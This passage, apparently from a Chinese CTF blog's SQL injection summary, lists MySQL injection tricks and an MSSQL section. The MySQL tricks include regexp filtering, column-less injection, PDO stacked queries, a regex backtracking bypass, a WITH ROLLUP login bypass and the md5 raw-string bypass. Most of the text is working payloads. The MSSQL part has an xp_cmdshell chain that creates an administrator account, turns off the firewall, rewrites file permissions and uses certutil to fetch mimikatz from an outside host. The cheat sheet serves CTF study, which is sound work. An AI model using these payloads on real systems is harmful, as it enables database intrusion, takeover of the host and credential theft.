World">[CISCN2019 华北赛区 Day2 Web1]Hack World</a><br><a href="http://pipinstall.cn/网鼎杯2018unfinish/" target="_blank" rel="noopener" title="[网鼎杯2018]Unfinish">[网鼎杯2018]Unfinish</a></p><h4 id="8-4-regexp注入:"><a href="#8-4-regexp注入:" class="headerlink" title="8-4.regexp注入:"></a>8-4.regexp注入:</h4><p>这应该算一个小trick,就是在注入语句后面添加regexp+正则表达式来过滤查询出的内容<br>如:</p><pre><code class="mysql">(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#</code></pre><p>筛选出以f开头的结果<br>例题可参考<a href="http://pipinstall.cn/rctf2015easysql/" target="_blank" rel="noopener" title="[RCTF2015]EasySQL">[RCTF2015]EasySQL</a></p><h4 id="8-5-无列名注入:"><a href="#8-5-无列名注入:" class="headerlink" title="8-5.无列名注入:"></a>8-5.无列名注入:</h4><p>利用join进行无列名注入(利用union进行重命名)<br>这个在上面information_schema的Bypass已经讲过了,就不再重复了</p><p>通过select进行盲注<br>前边提到了,在知道表名,不知道列名的情况下,我们可以给未知列名“重命名”,还可以利用报错函数来注入出列名。现在,除了之前的order by盲注之外,这里再提一种新的方法,直接通过select进行盲注。<br>核心payload:(select ‘admin’,’admin’)>(select * from users limit 1)<br>子查询之间也可以直接通过>、<、=来进行判断。</p><p>例题参考:[GYCTF2020]Ezsqli</p><h4 id="8-6-Update-Insert-Delete注入"><a href="#8-6-Update-Insert-Delete注入" class="headerlink" title="8-6.Update/Insert/Delete注入"></a>8-6.Update/Insert/Delete注入</h4><p>上述三个注入一般出现在用户信息更新、用户信息添加和用户信息删除的业务中,通常配合报错注入,具体可参考其他大佬的说明,这里就不再赘述了</p><h4 id="8-7-反引号注入"><a href="#8-7-反引号注入" class="headerlink" title="8-7.反引号注入"></a>8-7.反引号注入</h4><p>反引号在sql注入中可起到分隔符(代替某些字段的空格,但用处不大)和注释符的作用<br>分隔符:</p><pre><code class="mysql">'union select1,2,group_concat(table_name) from`information_schema`.tables--+</code></pre><p>注释符:在某些情况下,`可当作注释符使用,如下<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%878.png" alt=""></p><h4 id="8-8-PDO场景下的SQL注入"><a href="#8-8-PDO场景下的SQL注入" class="headerlink" title="8-8.PDO场景下的SQL注入"></a>8-8.PDO场景下的SQL注入</h4><ul><li>堆叠<br><a href="https://xz.aliyun.com/t/3950#toc-0" target="_blank" rel="noopener" title="参考">参考</a><br>PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入<br>如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false</li></ul><pre><code class="php">new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))</code></pre><ul><li>PDO预处理<br>PDO分为模拟预处理和非模拟预处理。</li></ul><p> 模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。</p><p> 非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。<br>模拟预处理代码:</p><pre><code class="php"><?php$dbms='mysql';$host='192.168.27.61';$dbName='test';$user='root';$pass='root';$dsn="$dbms:host=$host;dbname=$dbName";try { $pdo = new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false));} catch (PDOException $e) { echo $e;}$username = $_GET['username'];$sql = "select * from user where username = ?";$stmt = $pdo->prepare($sql);$stmt->bindParam(1,$username);$stmt->execute();while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ var_dump($row); echo "<br>";}</code></pre><p>PDO在模拟预处理是将处理完的SQL语句发送给MySQL服务器</p><p>非模拟预处理代码,在$username = $_GET[‘username’];代码前增加$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);</p><p>首先给MySQL服务器发送SQL语句模板,然后通过EXECUTE发送占位符参数给服务器</p><ul><li>PDO预处理模式的安全问题<br>当设置为模拟预处理模式,且直接拼接用户可控参数到sql语句时:</li></ul><ol><li>未将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false,我们就可以使用堆叠注入</li><li>设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);时,可进行报错注入</li></ol><h2 id="9-sql注入一些小trick"><a href="#9-sql注入一些小trick" class="headerlink" title="9.sql注入一些小trick"></a>9.sql注入一些小trick</h2><h4 id="9-1-LIMIT之后的字段数判断"><a href="#9-1-LIMIT之后的字段数判断" class="headerlink" title="9-1.LIMIT之后的字段数判断"></a>9-1.LIMIT之后的字段数判断</h4><p>当注入点在limit之后,我们可以利用 into @,@ 判断字段数,其中@为mysql临时变量。<br>例子如下:<br>Sql语句:</p><pre><code class="php">$id=$_GET['id'];$sql="SELECT * FROM users WHERE id=1 LIMIT 0,1 into $id";</code></pre><p>Payload:?id=@<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%879.png" alt=""></p><p>Payload:?id=@,@,@<br><img src="http://pipinstall.cn/img/Mysql%E6%B3%A8%E5%85%A5%E8%BF%9B%E9%98%B6%E6%93%8D%E4%BD%9C%E6%80%BB%E7%BB%93/%E5%9B%BE%E7%89%8710.png" alt=""><br>由此判断字段数为3</p><h4 id="9-2-通过正则回溯机制绕过-union-select-ig"><a href="#9-2-通过正则回溯机制绕过-union-select-ig" class="headerlink" title="9-2.通过正则回溯机制绕过/union.+?select/ig"></a>9-2.通过正则回溯机制绕过/union.+?select/ig</h4><p>在某些题目中,题目禁止union与select同时出现时,会用此正则来判断输入数据。此时我们就可以利用php的正则回溯机制绕过这个限制</p><p>故而我们构造payload:union/<em>100万个a,充当垃圾数据</em>/select即可绕过正则判断。</p><p>详情可参考P神的文章:<a href="https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html" target="_blank" rel="noopener" title="PHP利用PCRE回溯次数限制绕过某些安全限制">PHP利用PCRE回溯次数限制绕过某些安全限制</a><br>当然,正则回溯次数限制的漏洞还有很多用处,不止于sql注入,具体情况看题目了</p><h4 id="9-3-group-by-列名-with-rollup绕过弱类型"><a href="#9-3-group-by-列名-with-rollup绕过弱类型" class="headerlink" title="9-3.group by 列名 with rollup绕过弱类型"></a>9-3.<em>group by 列名 with rollup</em>绕过弱类型</h4><p><a href="https://hack-for.fun/posts/20200412/#web10" target="_blank" rel="noopener">M0nk3y</a>师傅给我补充的小trick,学习一波</p><p>先上一个例子:</p><pre><code class="php"><?php $flag=""; function replaceSpecialChar($strParam){ $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i"; return preg_replace($regex,"",$strParam); } if (!$con) { die('Could not connect: ' . mysqli_error()); } if(strlen($username)!=strlen(replaceSpecialChar($username))){ die("sql inject error"); } if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); } $sql="select * from user where username = '$username'"; $result=mysqli_query($con,$sql); if(mysqli_num_rows($result)>0){ while($row=mysqli_fetch_assoc($result)){ if($password==$row['password']){ echo "登陆成功<br>"; echo $flag; } } } ?></code></pre><p>题目前面做了一点限制,关键在后面,需要我们输入的password与查询出的结果相等(weak)才返回flag</p><p>payload:</p><pre><code class="mysql">'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#</code></pre><p>payload解释:</p><ul><li>后面的limit…offset…自然不用多说,绕过逗号</li><li>在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据</li><li>所以我们可以通过with rollup使sql语句查询的password为null,然后不输入password,使我们的password为NULL,即可成功绕过最后的password判断</li></ul><h4 id="9-4-md5-password-true-的绕过"><a href="#9-4-md5-password-true-的绕过" class="headerlink" title="9-4.md5($password,true)的绕过"></a>9-4.md5($password,true)的绕过</h4><p>发现这个是在<strong>BJDCTF2020</strong>的<strong>easyMD5</strong>题目中。</p><p>先了解一下<strong>md5(string,raw)</strong>函数</p><table><thead><tr><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>string</td><td>计算的字符串</td></tr><tr><td>raw</td><td>默认为False,32位16进制 True是16位原式二进制格式的字符串</td></tr></tbody></table><p>相关链接:<a href="https://blog.csdn.net/March97/article/details/81222922" target="_blank" rel="noopener">https://blog.csdn.net/March97/article/details/81222922</a></p><p>常见的相关字符串如(content部分):</p><p><code>content: ffifdyop</code></p><p><code>hex: 276f722736c95d99e921722cf9ed621c</code></p><p><code>raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c</code></p><p><code>string: 'or'6]!r,b</code></p><h1 id="MSSQL"><a href="#MSSQL" class="headerlink" title="MSSQL"></a>MSSQL</h1><p>Written by <a href="http://hackyangtuo.top/" target="_blank" rel="noopener">小羊驼</a></p><p>前面ttpfx师傅写的Mysql的基本思路已经差不多够了,下面稍微总结一下mssql的一些</p><h2 id="Basic"><a href="#Basic" class="headerlink" title="Basic"></a>Basic</h2><h3 id="系统库"><a href="#系统库" class="headerlink" title="系统库"></a>系统库</h3><table><thead><tr><th>系统数据库</th><th>描述</th></tr></thead><tbody><tr><td><a href="https://docs.microsoft.com/zh-cn/sql/relational-databases/databases/master-database?view=sql-server-2017" target="_blank" rel="noopener">master 数据库</a></td><td>记录 SQL Server实例的所有系统级信息。这个数据库包括所有的配置信息、用户登录信息、当前正在服务器中运行的进程的信息。</td></tr><tr><td><a href="https://docs.microsoft.com/zh-cn/sql/relational-databases/databases/msdb-database?view=sql-server-2017" target="_blank" rel="noopener">msdb 数据库</a></td><td>用于 SQL Server 代理计划警报和作业。msdb数据库是SQL Server中的一个特例。如果你查看这个数据库的实际定义,会发现它其实是一 个用户数据库。不同之处是SQL Server拿这个数据库来做什么。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQL Server Agent将会使用这个库。</td></tr><tr><td><a href="https://docs.microsoft.com/zh-cn/sql/relational-databases/databases/model-database?view=sql-server-2017" target="_blank" rel="noopener">model 数据库</a></td><td>用作 SQL Server实例上创建的所有数据库的模板。 对 <strong>model</strong> 数据库进行的修改(如数据库大小、排序规则、恢复模式和其他数据库选项)将应用于以后创建的所有数据库。model数据库是建立所有用户数据库时的模板。当你建立一个新数据库时,SQL Server会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模板对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。</td></tr><tr><td><a href="https://docs.microsoft.com/zh-cn/sql/relational-databases/databases/resource-database?view=sql-server-2017" target="_blank" rel="noopener">Resource 数据库</a></td><td>一个只读数据库,包含 SQL Server包括的系统对象。 系统对象在物理上保留在 <strong>Resource</strong> 数据库中,但在逻辑上显示在每个数据库的 <strong>sys</strong> 架构中。</td></tr><tr><td><a href="https://docs.microsoft.com/zh-cn/sql/relational-databases/databases/tempdb-database?view=sql-server-2017" target="_blank" rel="noopener">tempdb 数据库</a></td><td>一个工作空间,用于保存临时对象或中间结果集。tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到 tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建◊永远不要在tempdb数据库建立需要永久保存的表。</td></tr></tbody></table><h3 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h3><table><thead><tr><th>参数</th><th>风格</th></tr></thead><tbody><tr><td>/*</td><td>C语言风格</td></tr><tr><td>–</td><td>SQL注释风格</td></tr><tr><td>;%00</td><td>空字节</td></tr></tbody></table><h3 id="查询语句"><a href="#查询语句" class="headerlink" title="查询语句"></a>查询语句</h3><h4 id="主机名"><a href="#主机名" class="headerlink" title="主机名"></a>主机名</h4><pre><code class="mssql">select @@SERVERNAME;</code></pre><h4 id="数据库版本"><a href="#数据库版本" class="headerlink" title="数据库版本"></a>数据库版本</h4><pre><code class="mssql">select @@VERSION</code></pre><h4 id="数据库名"><a href="#数据库名" class="headerlink" title="数据库名"></a>数据库名</h4><pre><code class="mssql">select db_name()</code></pre><h4 id="数据库ip地址"><a href="#数据库ip地址" class="headerlink" title="数据库ip地址"></a>数据库ip地址</h4><pre><code class="mssql">select local_net_address from sys.dm_exec_connextions where Session_id=@@spid</code></pre><h4 id="爆当前表中的列"><a href="#爆当前表中的列" class="headerlink" title="爆当前表中的列"></a>爆当前表中的列</h4><pre><code class="mssql">article.asp?id=6 group by admin.username having 1=1--article.asp?id=6 group by admin.username,admin.password having 1=1--</code></pre><h4 id="爆任意表和列"><a href="#爆任意表和列" class="headerlink" title="爆任意表和列"></a>爆任意表和列</h4><pre><code class="mssql">and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1and (select top col_name(object_id('admin'),N) from sysobjects)>1</code></pre><h4 id="爆数据库数据"><a href="#爆数据库数据" class="headerlink" title="爆数据库数据"></a>爆数据库数据</h4><pre><code class="mssql">and (select top 1 password from admin where id=N)>1</code></pre><h4 id="Exmaples"><a href="#Exmaples" class="headerlink" title="Exmaples"></a>Exmaples</h4><pre><code class="mssql">query: SELECT username, password FROM Users WHERE id = '1';1' HAVING 1=1 -- 错误1' GROUP BY username HAVING 1=1-- -- 错误1' GROUP BY username, password HAVING 1=1-- -- 正确Group By可以用来测试列名USE masterGORECONFIGURE --先执行一次刷新,处理上次的配置GOEXEC sp_configure 'show advanced options',1 --启用xp_cmdshell的高级配置GORECONFIGURE --刷新配置GOEXEC sp_configure 'xp_cmdshell',1 --打开xp_cmdshell,可以调用SQL系统之外的命令GORECONFIGUREGO--使用xp_cmdshell在D盘创建一个myfile 文件夹EXEC xp_cmdshell 'mkdir d:\myfile',no_output --[no_output]表示是否输出信息GOsp_configure 'show advanced options',1; (记得reconfigure) sp_configure 'xp_cmdshell',1;(记得reconfigure)启用xp_cmdshellexec xp_cmdshell 'dir c:\ /s /b |findstr "key"|findstr "txt"'; 找到key的位置exec xp_cmdshell 'type key位置"'; 直接读key内容,不过一般不会让你有直接读的权限exec xp_cmdshell 'cacls c:\ /s /b |findstr "key"|findstr "txt" /E /G adminstrator:F'; 改变文件操作权限,F是所有权限,改变权限后再读就能成功exec xp_cmdshell 'net user username password /add';exec xp_cmdshell 'net localgroup administrators username /add';创建账户exec xp_cmdshell 'netsh firewall set opmode disable'; 如果目标开了防火墙,那么即使开启3389端口也无法连接,这条命令用于关闭防火墙。exec xp_cmdshell 'certutil -urlcache -f -split http://本机:8000/mimikazts.exe';如果不能建立账户,那么需要工具去破解系统账户的密码。这里使用的mimikazts。exec master..xp_cmdshell ‘dir “C:\Documents and Settings\Administrator\桌面\” /A -D /B’exec xp_cmdshell ‘type “C:\Documents and Settings\Administrator\桌面\key.txt”‘</code></pre><p>Reference:1.MSSQL注入攻击<a href="https://www.anquanke.com/post/id/86011" target="_blank" rel="noopener">https://www.anquanke.com/post/id/86011</a> </p><p> 2.Sql注入备忘录-Zedd‘s Blog <a href="https://blog.zeddyu.info/2019/03/06/Sqli%E5%A4%87%E5%BF%98%E5%BD%95/" target="_blank" rel="noopener">https://blog.zeddyu.info/2019/03/06/Sqli%E5%A4%87%E5%BF%98%E5%BD%95/</a></p><script> document.querySelectorAll('.github-emoji') .forEach(el => { if (!el.dataset.src) { return; } const img = document.createElement('img'); img.style = 'display:none !important;'; img.src = el.dataset.src; img.addEventListener('error', () => { img.remove(); el.style.color = 'inherit'; el.style.backgroundImage = 'none'; el.style.background = 'none'; }); img.addEventListener('load', () => { img.remove(); }); document.body.appendChild(img); }); </script>]]></content>
<tags>
<tag> SQL injection </tag>
<tag> Summary </tag>
</tags>
</entry>
</search>